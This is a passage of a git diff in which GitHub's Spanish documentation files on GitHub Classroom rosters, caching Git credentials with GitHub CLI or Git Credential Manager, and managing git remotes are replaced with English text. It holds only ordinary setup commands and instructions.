sus tareas posteriormente, o puedes borrarla si ya no la necesitas. +When you're done using a classroom, you can archive the classroom and refer to the classroom, roster, and assignments later, or you can delete the classroom if you no longer need the classroom. -## Acerca de los registros de alumnos de las aulas +## About classroom rosters -Cada aula tiene un registro de alumnos. Un registro de alumnos es una lista de identificadores para los alumnos que participan en tu curso. +Each classroom has a roster. A roster is a list of identifiers for the students who participate in your course. -Cuando compartes la URL de una tarea con un alumno por primera vez, dicho alumno debe ingresar en {% data variables.product.product_name %} con una cuenta de usuario para vincularla con un identificador para el aula. Después de que el alumno vinculasu cuenta de usuario, puedes ver la cuenta de usuario asociada en el registro dealumnos. También puedes ver cuando el alumno acepta o emite una tarea. +When you first share the URL for an assignment with a student, the student must sign into {% data variables.product.product_name %} with a user account to link the user account to an identifier for the classroom. After the student links a user account, you can see the associated user account in the roster. You can also see when the student accepts or submits an assignment. -![Registro de alumnos de un aula](/assets/images/help/classroom/roster-hero.png) +![Classroom roster](/assets/images/help/classroom/roster-hero.png) -## Prerrequisitos +## Prerequisites -Debes tener una cuenta de organización en {% data variables.product.product_name %} para administrar las aulas en {% data variables.product.prodname_classroom %}. Para obtener más información, consulta las secciones "[Tipos de cuentas de {% data variables.product.company_short %}](/github/getting-started-with-github/types-of-github-accounts#organization-accounts)" y "[Crear una organización nueva desde cero](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)". +You must have an organization account on {% data variables.product.product_name %} to manage classrooms on {% data variables.product.prodname_classroom %}. For more information, see "[Types of {% data variables.product.company_short %} accounts](/github/getting-started-with-github/types-of-github-accounts#organization-accounts)" and "[Creating a new organization from scratch](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)." -Debes autorizar a la app de OAuth de {% data variables.product.prodname_classroom %} para que tu organización administre aulas para tu cuenta organizacional. Para obtener más información, consulta la sección "[Autorizar las Apps de OAuth](/github/authenticating-to-github/authorizing-oauth-apps)". +You must authorize the OAuth app for {% data variables.product.prodname_classroom %} for your organization to manage classrooms for your organization account. For more information, see "[Authorizing OAuth Apps](/github/authenticating-to-github/authorizing-oauth-apps)." -## Crear un aula +## Creating a classroom {% data reusables.classroom.sign-into-github-classroom %} -1. Da clic en **Aula nueva**. ![Botón de "Aula nueva"](/assets/images/help/classroom/click-new-classroom-button.png) +1. Click **New classroom**. + !["New classroom" button](/assets/images/help/classroom/click-new-classroom-button.png) {% data reusables.classroom.guide-create-new-classroom %} -Después de que crees un aula, puedes comenzar a crear tareas para los alumnos. Para obtener más información, consulta las secciones "[Utilizar la tarea de inicio de Git y {% data variables.product.company_short %}](/education/manage-coursework-with-github-classroom/use-the-git-and-github-starter-assignment)", "[Crear una tarea individual](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)" o "[Crear una tarea grupal](/education/manage-coursework-with-github-classroom/create-a-group-assignment)". +After you create a classroom, you can begin creating assignments for students. For more information, see "[Use the Git and {% data variables.product.company_short %} starter assignment](/education/manage-coursework-with-github-classroom/use-the-git-and-github-starter-assignment)," "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)," or "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)." -## Crear un registro de alumnos para tu aula +## Creating a roster for your classroom -Puedes crear un registro de alumnos de aquellos que participen en tu curso. +You can create a roster of the students who participate in your course. -Si tu curso ya tiene un registro de alumnos, puedes actualizar a los alumnos en el registro o borrarlos de éste. Para obtener más información, consulta la sección "[Agregar a un alumno al registro de alumnos de tu aula](#adding-students-to-the-roster-for-your-classroom)" o "[Borrar un registro de alumnos de un aula](#deleting-a-roster-for-a-classroom)". +If your course already has a roster, you can update the students on the roster or delete the roster. For more information, see "[Adding a student to the roster for your classroom](#adding-students-to-the-roster-for-your-classroom)" or "[Deleting a roster for a classroom](#deleting-a-roster-for-a-classroom)." {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-students %} -1. Para conectar a {% data variables.product.prodname_classroom %} a tu LMS e importar un registro de alumnos, da clic en {% octicon "mortar-board" aria-label="The mortar board icon" %} **importar desde un sistema de administración de aprendizaje** y sigue las instrucciones. Para obtener más información, consulta la sección "[Conectar un sistema de administración de aprendizaje a {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)". ![Botón de "Importar desde un sistema de administración de aprendizaje"](/assets/images/help/classroom/click-import-from-a-learning-management-system-button.png) -1. Proporciona los identificadores de estudiante para tu registro de alumnos. - - Para importar un registro de alumnos cargando un archivo que contenga los identificadores de estudiante, haz clic en **Cargar un archivo de texto o CSV**. - - Para crear un registro de alumnos manualmente, teclea tus identificadores de alumno. ![Campo de texto para teclear los identificadores de alumno y botón de "Cargar un CSV o archivo de texto"](/assets/images/help/classroom/type-or-upload-student-identifiers.png) -1. Da clic en **Crear registro de alumnos**. ![Botón de "Crear registro de alumnos"](/assets/images/help/classroom/click-create-roster-button.png) +1. To connect {% data variables.product.prodname_classroom %} to your LMS and import a roster, click {% octicon "mortar-board" aria-label="The mortar board icon" %} **Import from a learning management system** and follow the instructions. For more information, see "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)." + !["Import from a learning management system" button](/assets/images/help/classroom/click-import-from-a-learning-management-system-button.png) +1. Provide the student identifiers for your roster. + - To import a roster by uploading a file containing student identifiers, click **Upload a CSV or text file**. + - To create a roster manually, type your student identifiers. + ![Text field for typing student identifiers and "Upload a CSV or text file" button](/assets/images/help/classroom/type-or-upload-student-identifiers.png) +1. Click **Create roster**. + !["Create roster" button](/assets/images/help/classroom/click-create-roster-button.png) -## Agregar a los alumnos al registro de alumnos de tu aula +## Adding students to the roster for your classroom -Tu aula debe tener un registro de alumnos existente para agregar alumnos a éste. Para obtener más información sobre crear un registro de alumnos, consulta la sección "[Crear un registro de alumnos para tu aula](#creating-a-roster-for-your-classroom)". +Your classroom must have an existing roster to add students to the roster. For more information about creating a roster, see "[Creating a roster for your classroom](#creating-a-roster-for-your-classroom)." {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-students %} -1. A la derecha de "Registro de alumnos del aula", da clic en **Actualizar alumnos**. ![Botón de "Actualizar alumnos" a la derecha del encabezado "Registro de alumnos" sobre la lista de alumnos](/assets/images/help/classroom/click-update-students-button.png) -1. Sigue las instrucciones para agregar a los alumnos al registro de alumnos. - - Para importar a los alumnos desde un LMS, da clic en **Sincronizar desde un sistema de administración de aprendizaje**. Para obtener más información sobre cómo importar un registro dealumnos desde un LMS, consulta la sección "[Conectar un sistema de administración de aprendizaje a {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)". - - Para agregar manualmente a los alumnos, debajo de "Agregar manualmente a los alumnos", da clic en **Cargar un CSV o archivo de texto** o teclea los identificadores de los alumnos y luego da clic en **Agregar entradas al registro de alumnos**. ![Modo para elegir un método para agregar alumnos al aula](/assets/images/help/classroom/classroom-add-students-to-your-roster.png) +1. To the right of "Classroom roster", click **Update students**. + !["Update students" button to the right of "Classroom roster" heading above list of students](/assets/images/help/classroom/click-update-students-button.png) +1. Follow the instructions to add students to the roster. + - To import students from an LMS, click **Sync from a learning management system**. For more information about importing a roster from an LMS, see "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)." + - To manually add students, under "Manually add students", click **Upload a CSV or text file** or type the identifiers for the students, then click **Add roster entries**. + ![Modal for choosing method of adding students to classroom](/assets/images/help/classroom/classroom-add-students-to-your-roster.png) -## Renombrar un aula +## Renaming a classroom {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-settings %} -1. Debajo de "nombre del aula", teclea un nombre nuevo para ésta. ![Campo de texto debajo de "Nombre de aula" para teclear el nombre de un aula](/assets/images/help/classroom/settings-type-classroom-name.png) -1. Da clic en **Renombrar aula**. ![Botón "Renombrar aula"](/assets/images/help/classroom/settings-click-rename-classroom-button.png) +1. Under "Classroom name", type a new name for the classroom. + ![Text field under "Classroom name" for typing classroom name](/assets/images/help/classroom/settings-type-classroom-name.png) +1. Click **Rename classroom**. + !["Rename classroom" button](/assets/images/help/classroom/settings-click-rename-classroom-button.png) -## Archivar o dejar de archivar un aula +## Archiving or unarchiving a classroom -Puedes archuivar un aula que ya no utilices en {% data variables.product.prodname_classroom %}. Cuando archivas un aula, no puedes crear tareas nuevas ni editar aquellas existentes en ella. Los alumnos no pueden aceptar invitaciones a las tareas de las aulas archivadas. +You can archive a classroom that you no longer use on {% data variables.product.prodname_classroom %}. When you archive a classroom, you can't create new assignments or edit existing assignments for the classroom. Students can't accept invitations to assignments in archived classrooms. {% data reusables.classroom.sign-into-github-classroom %} -1. A la derecha del nombre del aula, selecciona el menú desplegable {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} y da clic en **Archivar**. ![Menú desplegable del icono de kebab horizontal y elemento "Archive" del menú](/assets/images/help/classroom/use-drop-down-then-click-archive.png) -1. Para dejar de archivar un aula, a la derecha de su nombre, selecciona el menú desplegable {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} y da clic en **Dejar de archivar**. ![Menú desplegable desde el icono de kebab horizontal y elemento "Dejar de archivar" del menú](/assets/images/help/classroom/use-drop-down-then-click-unarchive.png) +1. To the right of a classroom's name, select the {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} drop-down menu, then click **Archive**. + ![Drop-down menu from horizontal kebab icon and "Archive" menu item](/assets/images/help/classroom/use-drop-down-then-click-archive.png) +1. To unarchive a classroom, to the right of a classroom's name, select the {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} drop-down menu, then click **Unarchive**. + ![Drop-down menu from horizontal kebab icon and "Unarchive" menu item](/assets/images/help/classroom/use-drop-down-then-click-unarchive.png) -## Borrar el registro de alumnos de un aula +## Deleting a roster for a classroom {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-students %} -1. Debajo de "Borrar este registro de alumnos", da clic en **Borrar registro de alumnos**. ![Botón "Borrar registro de alumnos" debajo de "Borrar este registro de alumnos" en la pestaña "Alumnos" de un aula](/assets/images/help/classroom/students-click-delete-roster-button.png) -1. Lee las advertencias y luego da clic en **Borrar registro de alumnos**. ![Botón "Borrar registro de alumnos" debajo de "Borrar este registro de alumnos" en la pestaña "Alumnos" de un aula](/assets/images/help/classroom/students-click-delete-roster-button-in-modal.png) +1. Under "Delete this roster", click **Delete roster**. + !["Delete roster" button under "Delete this roster" in "Students" tab for a classroom](/assets/images/help/classroom/students-click-delete-roster-button.png) +1. Read the warnings, then click **Delete roster**. + !["Delete roster" button under "Delete this roster" in "Students" tab for a classroom](/assets/images/help/classroom/students-click-delete-roster-button-in-modal.png) -## Borrar un aula +## Deleting a classroom {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-settings %} -1. A la derecha de "Borrar esta aula", da clic en **Borrar aula**. ![Botón de "Borrar un repositorio"](/assets/images/help/classroom/click-delete-classroom-button.png) -1. **Lee las advertencias**. -1. Para verificar que estás borrando el aula correcta, teclea el nombre del aula que quieres borrar. ![Modo para borrar un aula con advertencias y campo de texto para el nombre del aula](/assets/images/help/classroom/delete-classroom-modal-with-warning.png) -1. Da clic en **Borrar aula**. ![Botón de "Borrar aula"](/assets/images/help/classroom/delete-classroom-click-delete-classroom-button.png) +1. To the right of "Delete this classroom", click **Delete classroom**. + !["Delete repository" button](/assets/images/help/classroom/click-delete-classroom-button.png) +1. **Read the warnings**. +1. To verify that you're deleting the correct classroom, type the name of the classroom you want to delete. + ![Modal for deleting a classroom with warnings and text field for classroom name](/assets/images/help/classroom/delete-classroom-modal-with-warning.png) +1. Click **Delete classroom**. + !["Delete classroom" button](/assets/images/help/classroom/delete-classroom-click-delete-classroom-button.png) diff --git a/translations/es-ES/content/get-started/getting-started-with-git/caching-your-github-credentials-in-git.md b/translations/es-ES/content/get-started/getting-started-with-git/caching-your-github-credentials-in-git.md index 272a70b9d8..8524ac5fbc 100644 --- a/translations/es-ES/content/get-started/getting-started-with-git/caching-your-github-credentials-in-git.md +++ b/translations/es-ES/content/get-started/getting-started-with-git/caching-your-github-credentials-in-git.md @@ -1,5 +1,5 @@ --- -title: Almacenar tus credenciales de GitHub en el caché dentro de Git +title: Caching your GitHub credentials in Git redirect_from: - /firewalls-and-proxies/ - /articles/caching-your-github-password-in-git @@ -7,77 +7,77 @@ redirect_from: - /github/using-git/caching-your-github-credentials-in-git - /github/getting-started-with-github/caching-your-github-credentials-in-git - /github/getting-started-with-github/getting-started-with-git/caching-your-github-credentials-in-git -intro: 'Si estás [clonando repositorios de {% data variables.product.product_name %} utilizando HTTPS](/github/getting-started-with-github/about-remote-repositories), te recomendamos utilizar el {% data variables.product.prodname_cli %} o el Core de Administración de Credenciales de Git (GCM Core) para recordar tus credenciales.' +intro: 'If you''re [cloning {% data variables.product.product_name %} repositories using HTTPS](/github/getting-started-with-github/about-remote-repositories), we recommend you use {% data variables.product.prodname_cli %} or Git Credential Manager (GCM) to remember your credentials.' versions: fpt: '*' ghes: '*' ghae: '*' ghec: '*' -shortTitle: Guardar credenciales en caché +shortTitle: Caching credentials --- {% tip %} -**Tip:** Si clonas repositorios de {% data variables.product.product_name %} utilizando SSH, entonces puedes autenticarte utilizando una llave SSH en vez de utilizar otras credenciales. Para obtener información acerca de cómo configurar una conexión SSH, consulta la sección "[Generar una llave SSH](/articles/generating-an-ssh-key)". +**Tip:** If you clone {% data variables.product.product_name %} repositories using SSH, then you can authenticate using an SSH key instead of using other credentials. For information about setting up an SSH connection, see "[Generating an SSH Key](/articles/generating-an-ssh-key)." {% endtip %} ## {% data variables.product.prodname_cli %} -El {% data variables.product.prodname_cli %} almacenará tus credenciales de Git automáticamente cuando elijas `HTTPS` como tu protocolo preferido para las operaciones de Git y respondas "yes" cuando te pregunte si quieres autenticarte en Git con tus credenciales de {% data variables.product.product_name %}. +{% data variables.product.prodname_cli %} will automatically store your Git credentials for you when you choose `HTTPS` as your preferred protocol for Git operations and answer "yes" to the prompt asking if you would like to authenticate to Git with your {% data variables.product.product_name %} credentials. -1. [Instala](https://github.com/cli/cli#installation) el {% data variables.product.prodname_cli %} en macoS, Windows o Linux. -2. En la línea de comandos, ingresa `gh auth login` y luego sigue los mensajes. - - Cuando se te pida tu protocolo preferido para operaciones de Git, selecciona `HTTPS`. - - Cuando se te pregunte si quieres autenticarte en Git con tus credenciales de {% data variables.product.product_name %}, ingresa `Y`. +1. [Install](https://github.com/cli/cli#installation) {% data variables.product.prodname_cli %} on macOS, Windows, or Linux. +2. In the command line, enter `gh auth login`, then follow the prompts. + - When prompted for your preferred protocol for Git operations, select `HTTPS`. + - When asked if you would like to authenticate to Git with your {% data variables.product.product_name %} credentials, enter `Y`. -Para obtener más información sobre cómo autenticarte con el {% data variables.product.prodname_cli %}, consulta la sección [`gh auth login`](https://cli.github.com/manual/gh_auth_login). +For more information about authenticating with {% data variables.product.prodname_cli %}, see [`gh auth login`](https://cli.github.com/manual/gh_auth_login). -## Core de Administración de Credenciales de Git +## Git Credential Manager -El [Core de Administración de Credenciales de Git](https://github.com/microsoft/Git-Credential-Manager-Core) (GCM Core) es otra forma de almacenar tus credenciales de forma segura y conectarte a GitHub por HTTPS. Con el GCM Core, no necesitas [crear y almacenar un PAT](/github/authenticating-to-github/creating-a-personal-access-token) manualmente, ya que el GCM Core administra la autenticación en tu nombre, incluyendo la 2FA (autenticación bifactorial). +[Git Credential Manager](https://github.com/GitCredentialManager/git-credential-manager) (GCM) is another way to store your credentials securely and connect to GitHub over HTTPS. With GCM, you don't have to manually [create and store a PAT](/github/authenticating-to-github/creating-a-personal-access-token), as GCM manages authentication on your behalf, including 2FA (two-factor authentication). {% mac %} -1. Instalar Git utilizando [Homebrew](https://brew.sh/): +1. Install Git using [Homebrew](https://brew.sh/): ```shell $ brew install git ``` -2. Instalar el GCM Core utilizando Homebrew: +2. Install GCM using Homebrew: ```shell $ brew tap microsoft/git $ brew install --cask git-credential-manager-core ``` - Para MacOS, no necesitas ejecutar `git config`, ya que el GCM Core configura Git automáticamente para ti. + For MacOS, you don't need to run `git config` because GCM automatically configures Git for you. {% data reusables.gcm-core.next-time-you-clone %} -Ya que te hayas autenticado exitosamente, tus credenciales se almacenarán en el llavero de macOS y se utilizarán cada que clones una URL con HTTPS. Git no requerirá que teclees tus credenciales en la línea de comandos nuevamente a menos de que cambies tus credenciales. +Once you've authenticated successfully, your credentials are stored in the macOS keychain and will be used every time you clone an HTTPS URL. Git will not require you to type your credentials in the command line again unless you change your credentials. {% endmac %} {% windows %} -1. Instala Git para Windows, el cual incluye a GCM Core. Para obtener más información, consulta la sección "[Git para lanzamientos de Windows](https://github.com/git-for-windows/git/releases/latest)" desde su [página de lanzamientos](https://github.com/git-for-windows/git/releases/latest). +1. Install Git for Windows, which includes GCM. For more information, see "[Git for Windows releases](https://github.com/git-for-windows/git/releases/latest)" from its [releases page](https://github.com/git-for-windows/git/releases/latest). -Te recomendamos instalar siempre la versión más reciente. Por lo mínimo, instala la versión 2.29 o superior, la cual es la primera versión que ofrece compatibilidad con OAuth para GitHub. +We recommend always installing the latest version. At a minimum, install version 2.29 or higher, which is the first version offering OAuth support for GitHub. {% data reusables.gcm-core.next-time-you-clone %} -Una vez que te hayas autenticado con éxito, tus credenciales se almacenarán en el administrador de credenciales de Windows y se utilizarán cada que clones una URL de HTTPS. Git no requerirá que teclees tus credenciales en la línea de comandos nuevamente a menos de que cambies tus credenciales. +Once you've authenticated successfully, your credentials are stored in the Windows credential manager and will be used every time you clone an HTTPS URL. Git will not require you to type your credentials in the command line again unless you change your credentials.
{% warning %} -**Advertencia:** Las versiones más antiguas de Git para Windows vienen con el Administrador de Credenciales de Git para Windows. Este producto más antiguo ya no es compatible y no puede conectarse con GitHub a través de OAuth. Te recomendamos mejorar a [la última versión de Git para Windows](https://github.com/git-for-windows/git/releases/latest). +**Warning:** Older versions of Git for Windows came with Git Credential Manager for Windows. This older product is no longer supported and cannot connect to GitHub via OAuth. We recommend you upgrade to [the latest version of Git for Windows](https://github.com/git-for-windows/git/releases/latest). {% endwarning %} {% warning %} -**Advertencia:** Si guardaste credenciales incorrectas o vencidas en caché en el Administrador de Credenciales para Windows, Git no podrá acceder a {% data variables.product.product_name %}. Para restablecer tus credenciales almacenadas en caché y que Git te pida ingresar tus credenciales, accede al Administrador de Credenciales en el Panel de Control de Windows debajo de Cuentas de usuario > Administrador de Credenciales. Busca la entrada de {% data variables.product.product_name %} y bórrala. +**Warning:** If you cached incorrect or outdated credentials in Credential Manager for Windows, Git will fail to access {% data variables.product.product_name %}. To reset your cached credentials so that Git prompts you to enter your credentials, access the Credential Manager in the Windows Control Panel under User Accounts > Credential Manager. Look for the {% data variables.product.product_name %} entry and delete it. {% endwarning %} @@ -85,22 +85,22 @@ Una vez que te hayas autenticado con éxito, tus credenciales se almacenarán en {% linux %} -Para Linux, instala Git y GCM Core y luego configura Git para utilizar GCM Core. +For Linux, install Git and GCM, then configure Git to use GCM. -1. Instala Git desde el sistema de empaquetado de tu distribución. Las instrucciones variarán dependiendo del tipo de Linux que tengas. +1. Install Git from your distro's packaging system. Instructions will vary depending on the flavor of Linux you run. -2. Instala GCM Core. Consulta las [instrucciones en el repositorio de GCM Core](https://github.com/microsoft/Git-Credential-Manager-Core#linux-install-instructions), ya que estas variarán dependiendo del tipo de Linux que ejecutas. +2. Install GCM. See the [instructions in the GCM repo](https://github.com/GitCredentialManager/git-credential-manager#linux-install-instructions), as they'll vary depending on the flavor of Linux you run. -3. Configura Git para utilizar GCM Core. Hay varias tiendas de respaldo de entre las que puedes elegir, así que revisa los documentos de GCM Core para completar tu configuración. Para obtener más información, consulta la sección "[GCM Core para Linux](https://aka.ms/gcmcore-linuxcredstores)". +3. Configure Git to use GCM. There are several backing stores that you may choose from, so see the GCM docs to complete your setup. For more information, see "[GCM Linux](https://aka.ms/gcmcore-linuxcredstores)." {% data reusables.gcm-core.next-time-you-clone %} -Una vez que te hayas autenticado con éxito, tus credenciales se almacenarán en tu sistema y se utilizarán cada que clones una URL de HTTPS. Git no requerirá que teclees tus credenciales en la línea de comandos nuevamente a menos de que cambies tus credenciales. +Once you've authenticated successfully, your credentials are stored on your system and will be used every time you clone an HTTPS URL. Git will not require you to type your credentials in the command line again unless you change your credentials. -Para obtener más opciones para almacenar tus credenciales en Linux, consulta la sección [Almacenamiento de credenciales](https://git-scm.com/book/en/v2/Git-Tools-Credential-Storage) en Pro Git. +For more options for storing your credentials on Linux, see [Credential Storage](https://git-scm.com/book/en/v2/Git-Tools-Credential-Storage) in Pro Git. {% endlinux %}
-Para obtener más información o para reportar propuestas con GCM Core, consulta los documentos oficiales de GCM Core en "[Core de Administración de Credenciales de Git](https://github.com/microsoft/Git-Credential-Manager-Core)". +For more information or to report issues with GCM, see the official GCM docs at "[Git Credential Manager](https://github.com/GitCredentialManager/git-credential-manager)." diff --git a/translations/es-ES/content/get-started/getting-started-with-git/managing-remote-repositories.md b/translations/es-ES/content/get-started/getting-started-with-git/managing-remote-repositories.md index 45fb28aeec..3ffdb947b4 100644 --- a/translations/es-ES/content/get-started/getting-started-with-git/managing-remote-repositories.md +++ b/translations/es-ES/content/get-started/getting-started-with-git/managing-remote-repositories.md @@ -1,6 +1,6 @@ --- -title: Administrar repositorios remotos -intro: 'Aprende a trabajar con tus repositorios locales en tu computadora y repositorios remotos alojados en {% data variables.product.product_name %}.' +title: Managing remote repositories +intro: 'Learn to work with your local repositories on your computer and remote repositories hosted on {% data variables.product.product_name %}.' redirect_from: - /categories/18/articles/ - /remotes/ @@ -23,18 +23,17 @@ versions: ghes: '*' ghae: '*' ghec: '*' -shortTitle: Administrar repositorios remotos +shortTitle: Manage remote repositories --- +## Adding a remote repository -## Agregar un repositorio remoto +To add a new remote, use the `git remote add` command on the terminal, in the directory your repository is stored at. -Para agregar un remoto nuevo, utiliza el comando `git remote add` en la terminal, en el directorio en el cual está almacenado tu repositorio. +The `git remote add` command takes two arguments: +* A remote name, for example, `origin` +* A remote URL, for example, `https://{% data variables.command_line.backticks %}/user/repo.git` -El comando `git remote add` toma dos argumentos: -* Un nombre remoto, por ejemplo, `origin` -* Una URL remota, por ejemplo, `https://{% data variables.command_line.backticks %}/user/repo.git` - -Por ejemplo: +For example: ```shell $ git remote add origin https://{% data variables.command_line.codeblock %}/user/repo.git @@ -46,60 +45,60 @@ $ git remote -v > origin https://{% data variables.command_line.codeblock %}/user/repo.git (push) ``` -Para obtener más información sobre qué URL utilizar, consulta la sección "[Acerca de los repositorios remotos](/github/getting-started-with-github/about-remote-repositories)". +For more information on which URL to use, see "[About remote repositories](/github/getting-started-with-github/about-remote-repositories)." -### Solución de problemas: El origen remoto ya existe +### Troubleshooting: Remote origin already exists -Este error significa que trataste de agregar un remoto con un nombre que ya existe en tu repositorio local. +This error means you've tried to add a remote with a name that already exists in your local repository. ```shell $ git remote add origin https://{% data variables.command_line.codeblock %}/octocat/Spoon-Knife.git > fatal: remote origin already exists. ``` -Para arreglar esto, puedes: -* Usar un nombre diferente para el nuevo remoto. -* Renombra el repositorio remoto existente antes de que agregues el remoto nuevo. Para obtener más información, consulta la sección "[Renombrar un repositorio remoto](#renaming-a-remote-repository)" a continuación. -* Borra el repositorio remoto existente antes de que agregues el remoto nuevo. Para obtener más información, consulta la sección "[Eliminar un repositorio remoto](#removing-a-remote-repository)" a continuación. +To fix this, you can: +* Use a different name for the new remote. +* Rename the existing remote repository before you add the new remote. For more information, see "[Renaming a remote repository](#renaming-a-remote-repository)" below. +* Delete the existing remote repository before you add the new remote. For more information, see "[Removing a remote repository](#removing-a-remote-repository)" below. -## Cambiar la URL del repositorio remoto +## Changing a remote repository's URL -El comando `git remote set-url` cambia una URL existente de repositorio remoto. +The `git remote set-url` command changes an existing remote repository URL. {% tip %} -**Tip:** Para obtener más información sobre la diferencia entre las URL de HTTPS y SSH, consulta la sección "[Acerca de los repositorios remotos](/github/getting-started-with-github/about-remote-repositories)". +**Tip:** For information on the difference between HTTPS and SSH URLs, see "[About remote repositories](/github/getting-started-with-github/about-remote-repositories)." {% endtip %} -El comando `git remote set-url` toma dos argumentos: +The `git remote set-url` command takes two arguments: -* Un nombre de remoto existente. Por ejemplo, `origin` o `upstream` son dos de las opciones comunes. -* Una nueva URL para el remoto. Por ejemplo: - * Si estás actualizando para usar HTTPS, tu URL puede verse como: +* An existing remote name. For example, `origin` or `upstream` are two common choices. +* A new URL for the remote. For example: + * If you're updating to use HTTPS, your URL might look like: ```shell https://{% data variables.command_line.backticks %}/USERNAME/REPOSITORY.git ``` - * Si estás actualizando para usar SSH, tu URL puede verse como: + * If you're updating to use SSH, your URL might look like: ```shell git@{% data variables.command_line.codeblock %}:USERNAME/REPOSITORY.git ``` -### Cambiar direcciones URL remotas de SSH a HTTPS +### Switching remote URLs from SSH to HTTPS {% data reusables.command_line.open_the_multi_os_terminal %} -2. Cambiar el directorio de trabajo actual en tu proyecto local. -3. Enumerar tus remotos existentes a fin de obtener el nombre de los remotos que deseas cambiar. +2. Change the current working directory to your local project. +3. List your existing remotes in order to get the name of the remote you want to change. ```shell $ git remote -v > origin git@{% data variables.command_line.codeblock %}:USERNAME/REPOSITORY.git (fetch) > origin git@{% data variables.command_line.codeblock %}:USERNAME/REPOSITORY.git (push) ``` -4. Cambiar tu URL remota de SSH a HTTPS con el comando `git remote set-url`. +4. Change your remote's URL from SSH to HTTPS with the `git remote set-url` command. ```shell $ git remote set-url origin https://{% data variables.command_line.codeblock %}/USERNAME/REPOSITORY.git ``` -5. Verificar que la URL remota ha cambiado. +5. Verify that the remote URL has changed. ```shell $ git remote -v # Verify new remote URL @@ -107,25 +106,25 @@ git@{% data variables.command_line.codeblock %}:USERNAME/REPOSITORY > origin https://{% data variables.command_line.codeblock %}/USERNAME/REPOSITORY.git (push) ``` -La próxima vez que ejecutes `git`, `git pull` o `git push` en el repositorio remoto, se te pedirá el nombre de usuario y la contraseña de GitHub. {% data reusables.user_settings.password-authentication-deprecation %} +The next time you `git fetch`, `git pull`, or `git push` to the remote repository, you'll be asked for your GitHub username and password. {% data reusables.user_settings.password-authentication-deprecation %} -Puedes [utilizar un ayudante de credenciales](/github/getting-started-with-github/caching-your-github-credentials-in-git) para que Git recuerde tu nombre de usuario y token de acceso personal cada vez que se comunique con GitHub. +You can [use a credential helper](/github/getting-started-with-github/caching-your-github-credentials-in-git) so Git will remember your GitHub username and personal access token every time it talks to GitHub. -### Cambiar las URL remotas de HTTPS a SSH +### Switching remote URLs from HTTPS to SSH {% data reusables.command_line.open_the_multi_os_terminal %} -2. Cambiar el directorio de trabajo actual en tu proyecto local. -3. Enumerar tus remotos existentes a fin de obtener el nombre de los remotos que deseas cambiar. +2. Change the current working directory to your local project. +3. List your existing remotes in order to get the name of the remote you want to change. ```shell $ git remote -v > origin https://{% data variables.command_line.codeblock %}/USERNAME/REPOSITORY.git (fetch) > origin https://{% data variables.command_line.codeblock %}/USERNAME/REPOSITORY.git (push) ``` -4. Cambiar tu URL remota de HTTPS a SSH con el comando `git remote set-url`. +4. Change your remote's URL from HTTPS to SSH with the `git remote set-url` command. ```shell $ git remote set-url origin git@{% data variables.command_line.codeblock %}:USERNAME/REPOSITORY.git ``` -5. Verificar que la URL remota ha cambiado. +5. Verify that the remote URL has changed. ```shell $ git remote -v # Verify new remote URL @@ -133,105 +132,106 @@ Puedes [utilizar un ayudante de credenciales](/github/getting-started-with-githu > origin git@{% data variables.command_line.codeblock %}:USERNAME/REPOSITORY.git (push) ``` -### Solución de problemas: No existe tal remoto '[name]' +### Troubleshooting: No such remote '[name]' -Este error significa que el remoto que trataste de cambiar no existe: +This error means that the remote you tried to change doesn't exist: ```shell $ git remote set-url sofake https://{% data variables.command_line.codeblock %}/octocat/Spoon-Knife > fatal: No such remote 'sofake' ``` -Comprueba que escribiste correctamente el nombre del remoto. +Check that you've correctly typed the remote name. -## Renombrar un repositorio remoto +## Renaming a remote repository -Utiliza el comando `git remote rename` para renombrar un remoto existente. +Use the `git remote rename` command to rename an existing remote. -El comando `git remote rename` toma dos argumentos: -* Un nombre de remoto existente, por ejemplo, `origen` -* Un nombre nuevo para el remoto, por ejemplo, `destino` +The `git remote rename` command takes two arguments: +* An existing remote name, for example, `origin` +* A new name for the remote, for example, `destination` -## Ejemplo +## Example -Estos ejemplos asumen que estás[clonando con HTTPS](/github/getting-started-with-github/about-remote-repositories/#cloning-with-https-urls), lo cual se recomienda. +These examples assume you're [cloning using HTTPS](/github/getting-started-with-github/about-remote-repositories/#cloning-with-https-urls), which is recommended. ```shell $ git remote -v -# Ver remotos existentes +# View existing remotes > origin https://{% data variables.command_line.codeblock %}/OWNER/REPOSITORY.git (fetch) > origin https://{% data variables.command_line.codeblock %}/OWNER/REPOSITORY.git (push) $ git remote rename origin destination -# Cambiar el nombre del remoto de 'origen' a 'destino' +# Change remote name from 'origin' to 'destination' $ git remote -v -# Verificar el nombre nuevo del remoto +# Verify remote's new name > destination https://{% data variables.command_line.codeblock %}/OWNER/REPOSITORY.git (fetch) > destination https://{% data variables.command_line.codeblock %}/OWNER/REPOSITORY.git (push) ``` -### Solución de problemas: No se pudo renombrar la sección de configuración 'remote.[old name]' a 'remote.[new name]' +### Troubleshooting: Could not rename config section 'remote.[old name]' to 'remote.[new name]' -Este error significa que el remoto que probaste con el nombre del remoto antiguo que escribiste no existe. +This error means that the old remote 